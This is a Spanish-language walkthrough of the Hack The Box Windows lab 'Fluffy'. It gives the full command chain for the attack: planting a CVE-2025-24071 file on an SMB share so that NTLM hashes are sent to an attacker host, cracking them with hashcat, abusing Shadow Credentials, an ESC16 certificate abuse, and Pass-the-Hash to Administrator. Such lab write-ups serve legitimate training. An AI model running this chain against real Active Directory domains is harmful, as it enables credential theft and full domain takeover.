Fluffy

Resumen

Fluffy es una máquina Windows Easy donde partimos de unas credenciales proporcionadas por HTB. Un share SMB con permisos de escritura permite explotar CVE-2025-24071 y capturar el NetNTLMv2 de p.agila. BloodHound revela después una cadena de permisos GenericAll y GenericWrite que nos permite comprometer cuentas de servicio mediante Shadow Credentials. Finalmente, el control de ca_svc nos permite explotar ESC16, obtener un certificado válido como Administrator y terminar accediendo al DC mediante Pass-the-Hash.

Enumeración

Comenzamos realizando nuestro escaneo habitual con Nmap utilizando -sC y -sV. Entre los servicios encontramos:

53    DNS
88    Kerberos
139   NetBIOS
389   LDAP
445   SMB
464   Kerberos Password Change
593   RPC over HTTP
636   LDAPS
3268  Global Catalog
5985  WinRM
9389  .NET Message Framing

Todo apunta claramente a un entorno Active Directory y Nmap identifica:

Domain: fluffy.htb
Host: DC01

Además, el certificado presentado por LDAP/LDAPS está emitido por:

fluffy-DC01-CA

por lo que desde la enumeración inicial ya tenemos una pista de que existe una Certificate Authority de AD CS en el dominio.

Acceso inicial mediante SMB

HTB nos proporciona inicialmente las siguientes credenciales:

j.fleischman:J0elTHEM4n1990!

Comprobamos que sean válidas:

nxc smb fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!'

Y enumeramos los shares:

nxc smb fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!' --shares

Entre ellos encontramos:

IT

con permisos de:

READ,WRITE

Esto es especialmente interesante: no solo podemos consultar su contenido, sino también subir archivos.

Nos conectamos:

smbclient //10.129.232.88/IT -U 'j.fleischman%J0elTHEM4n1990!'

Durante la enumeración encontramos información relacionada con una vulnerabilidad bastante reciente:

CVE-2025-24071

CVE-2025-24071 - NTLM Hash Disclosure

Para explotarla utilicé el siguiente PoC: https://github.com/ex-cal1bur/SMB_CVE-2025-24071

La idea del ataque es conseguir que Windows procese un archivo especialmente preparado que contiene una referencia hacia un recurso SMB controlado por nosotros.

Cuando Windows intenta acceder a esa ruta remota, realiza automáticamente una autenticación NTLM.

Podemos capturar ese challenge-response utilizando Responder.

La cadena será:

Archivo malicioso
      ↓
Share IT
      ↓
Windows procesa el contenido
      ↓
Conexión SMB hacia Kali
      ↓
Responder captura NetNTLMv2

Aquí es precisamente donde los permisos WRITE sobre IT se vuelven importantes.

Paso 1 - Responder

Desde Kali dejamos Responder escuchando sobre nuestra interfaz VPN:

responder -I tun0 -v

Paso 2 - Generando el archivo

Utilizamos el PoC:

python3 poc_tar.py

El script nos solicita los datos necesarios para generar el archivo malicioso, incluyendo nuestra dirección IP.

Tenemos que indicar la IP de nuestra Kali porque queremos que la referencia SMB apunte hacia nuestro equipo.

El resultado será nuestro archivo:

exploit.tar

Paso 3 - Subiendo el archivo

Volvemos al share:

smbclient //10.129.232.88/IT -U 'j.fleischman%J0elTHEM4n1990!'

Y subimos:

put exploit.tar

Al disponer de permisos de escritura, el archivo queda almacenado dentro del share.

Tras esperar a que sea procesado, Responder recibe una autenticación correspondiente a:

p.agila

🎯 Tenemos un NetNTLMv2.

Crackeando el hash

Guardamos la captura:

vim hash

Y utilizamos Hashcat en modo 5600, correspondiente a NetNTLMv2:

hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt

Conseguimos recuperar:

p.agila:prometheusx-303

Tenemos una nueva cuenta válida del dominio.

BloodHound

Recolectamos la información de Active Directory:

bloodhound-python -u p.agila -p prometheusx-303 -c All -ns 10.129.72.173 -d fluffy.htb

Abrimos BloodHound:

/opt/BloodHound-linux-x64/BloodHound --no-sandbox

Y utilizamos:

Analysis → Shortest Path from Owned Principals

Aquí aparece una cadena bastante interesante:

p.agila
   ↓ MemberOf
Service Account Managers
   ↓ GenericAll
Service Accounts
   ↓ GenericWrite
Cuentas de servicio

Entre las cuentas pertenecientes a Service Accounts encontramos:

ldap_svc
winrm_svc
ca_svc

Nuestro objetivo será aprovechar estas relaciones para ir comprometiendo las cuentas de servicio.

GenericAll sobre Service Accounts

p.agila pertenece a Service Account Managers, y este grupo dispone de GenericAll sobre Service Accounts.

GenericAll representa control prácticamente total sobre el objeto afectado.

En nuestro caso podemos aprovecharlo para añadir directamente a p.agila al grupo Service Accounts:

net rpc group addmem "Service Accounts" "p.agila" -U "fluffy.htb"/"p.agila"%"prometheusx-303" -S "10.129.72.173"

Ahora heredamos los permisos que tenga ese grupo.

GenericWrite y Shadow Credentials

Service Accounts dispone de GenericWrite sobre varias de las cuentas de servicio.

GenericWrite permite modificar determinados atributos del objeto objetivo.

Uno de los atributos que podemos abusar en cuentas de Active Directory es:

msDS-KeyCredentialLink

Aquí entra la técnica conocida como Shadow Credentials.

En lugar de cambiar la contraseña del usuario, añadimos material criptográfico controlado por nosotros a su msDS-KeyCredentialLink. Después podemos autenticarnos mediante certificado como esa cuenta y obtener su NT hash.

Antes de utilizar Kerberos sincronizamos nuestra hora con el Domain Controller:

timedatectl set-ntp false

ntpdate 10.129.72.173

Esto evita los clásicos errores de clock skew.

Comprometiendo las cuentas de servicio

Podemos utilizar Certipy para automatizar el ataque de Shadow Credentials.

Por ejemplo, contra winrm_svc:

certipy-ad shadow auto -username p.agila@fluffy.htb -password 'prometheusx-303' -account winrm_svc

La opción shadow auto automatiza el proceso de añadir la Key Credential, autenticarse utilizando el certificado generado, recuperar las credenciales de la cuenta y restaurar posteriormente el atributo.

La misma técnica puede utilizarse sobre las demás cuentas sobre las que tenemos GenericWrite, incluyendo:

ldap_svc
ca_svc
winrm_svc

Para continuar con nuestro camino hacia AD CS nos interesa especialmente:

ca_svc

De esta cuenta obtenemos el NT hash:

ca0f4f9e9eb8a092addf53bb03fc98c8

Enumerando AD CS

Ahora podemos utilizar directamente las credenciales de ca_svc para buscar vulnerabilidades:

certipy-ad find -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.129.72.173 -vulnerable

Certipy identifica:

ESC16

🎯 Tenemos nuestro camino final.

¿Qué es ESC16?

ESC16 ocurre cuando la Certificate Authority está configurada para no incluir la extensión de seguridad que vincula el certificado con el SID del usuario.

En condiciones normales un certificado moderno puede contener tanto una identidad como:

UPN: ca_svc@fluffy.htb

como información que lo vincula al SID real de ca_svc.

En Fluffy esa extensión está deshabilitada.

Esto abre la posibilidad de manipular temporalmente el UPN de una cuenta que controlamos, solicitar un certificado y conseguir que posteriormente ese certificado se asocie a otra identidad.

De forma simplificada:

ca_svc
   ↓
UPN → administrator
   ↓
Solicitamos certificado
   ↓
Certificado contiene UPN administrator
pero no SID de ca_svc
   ↓
Restauramos UPN
   ↓
Usamos certificado como Administrator

Ese es el punto clave de ESC16.

Modificando el UPN de ca_svc

Como p.agila dispone de los permisos necesarios sobre ca_svc, intentamos modificar su UPN:

certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -target 'dc01.fluffy.htb' -upn 'administrator' -user 'ca_svc' update

En mi primer intento recibí un error indicando que no tenía permisos.

Aquí apareció un detalle importante durante la resolución.

Volví a añadir a p.agila a Service Accounts:

net rpc group addmem "Service Accounts" "p.agila" -U "fluffy.htb"/"p.agila"%"prometheusx-303" -S "10.129.72.173"

También comprobé /etc/hosts:

cat /etc/hosts

y añadí correctamente:

10.129.72.173 fluffy.htb DC01.fluffy.htb

Esto solucionaba además los problemas de resolución que estaba teniendo al utilizar dc01.fluffy.htb.

Volví a ejecutar inmediatamente:

certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -target 'dc01.fluffy.htb' -upn 'administrator' -user 'ca_svc' update

Esta vez funciona:

Successfully updated 'ca_svc'

Ahora el objeto sigue siendo ca_svc, pero temporalmente su atributo:

userPrincipalName

vale:

administrator

No hemos convertido **ca_svc** en Administrator. Solo hemos manipulado el identificador que vamos a aprovechar durante la emisión del certificado.

Solicitando el certificado

Ahora utilizamos las credenciales de ca_svc:

certipy-ad req -dc-ip '10.129.72.173' -u 'ca_svc@fluffy.htb' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' -target 'dc01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User' -debug

Aquí:

• -ca fluffy-DC01-CA selecciona la Certificate Authority.
• -template User solicita un certificado utilizando el template estándar User.
• -debug únicamente activa información adicional de diagnóstico; no es necesario para explotar ESC16.

Como previamente cambiamos el UPN de ca_svc, el certificado emitido contiene:

UPN: administrator

Y debido a ESC16 no incorpora el SID de seguridad que lo vincularía inequívocamente a ca_svc.

Certipy genera:

administrator.pfx

Ese es el elemento que realmente necesitamos para el siguiente paso.

Restaurando el UPN

Antes de autenticarnos restauramos el UPN de ca_svc:

certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -target 'dc01.fluffy.htb' -upn 'ca_svc' -user 'ca_svc' update

Esto es importante por dos motivos.

Primero, devolvemos la cuenta a su estado original.

Segundo, evitamos mantener dos identidades conflictivas alrededor del UPN administrator, lo que podría interferir con el mapeo del certificado.

La secuencia completa de ESC16 queda entonces:

ca_svc UPN = ca_svc
        ↓
cambiamos UPN → administrator
        ↓
solicitamos certificado
        ↓
administrator.pfx
        ↓
restauramos UPN → ca_svc
        ↓
autenticamos con el PFX

Autenticación como Administrator

Ahora sí utilizamos el certificado:

certipy-ad auth -dc-ip '10.129.72.173' -pfx administrator.pfx -username 'Administrator' -domain 'fluffy.htb'

Certipy utiliza el PFX para realizar autenticación mediante certificado/PKINIT.

El resultado final es el NT hash de Administrator:

8da83a3fa618b6e3a00e93f676c92a6e

Ya no necesitamos conocer su contraseña.

Pass-the-Hash

Utilizamos directamente el NT hash con Evil-WinRM:

evil-winrm -i 10.129.72.173 -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e

La autenticación funciona.

Tenemos una sesión como:

fluffy\administrator

🔥 ¡Fluffy completada!

Conclusiones

Fluffy encadena varias técnicas modernas de Active Directory: CVE-2025-24071 permite capturar las credenciales de p.agila, BloodHound descubre permisos GenericAll y GenericWrite, Shadow Credentials nos da acceso a ca_svc y finalmente ESC16 permite manipular su UPN para obtener un certificado válido como Administrator.

Herramientas utilizadas

• Nmap
• NetExec
• smbclient
• Responder
• Hashcat
• BloodHound Python
• BloodHound
• Net RPC
• Certipy
• Evil-WinRM

Referencias

• CVE-2025-24071 PoC: https://github.com/ex-cal1bur/SMB_CVE-2025-24071
• Resolución en video: https://www.youtube.com/watch?v=vgu879xWIpA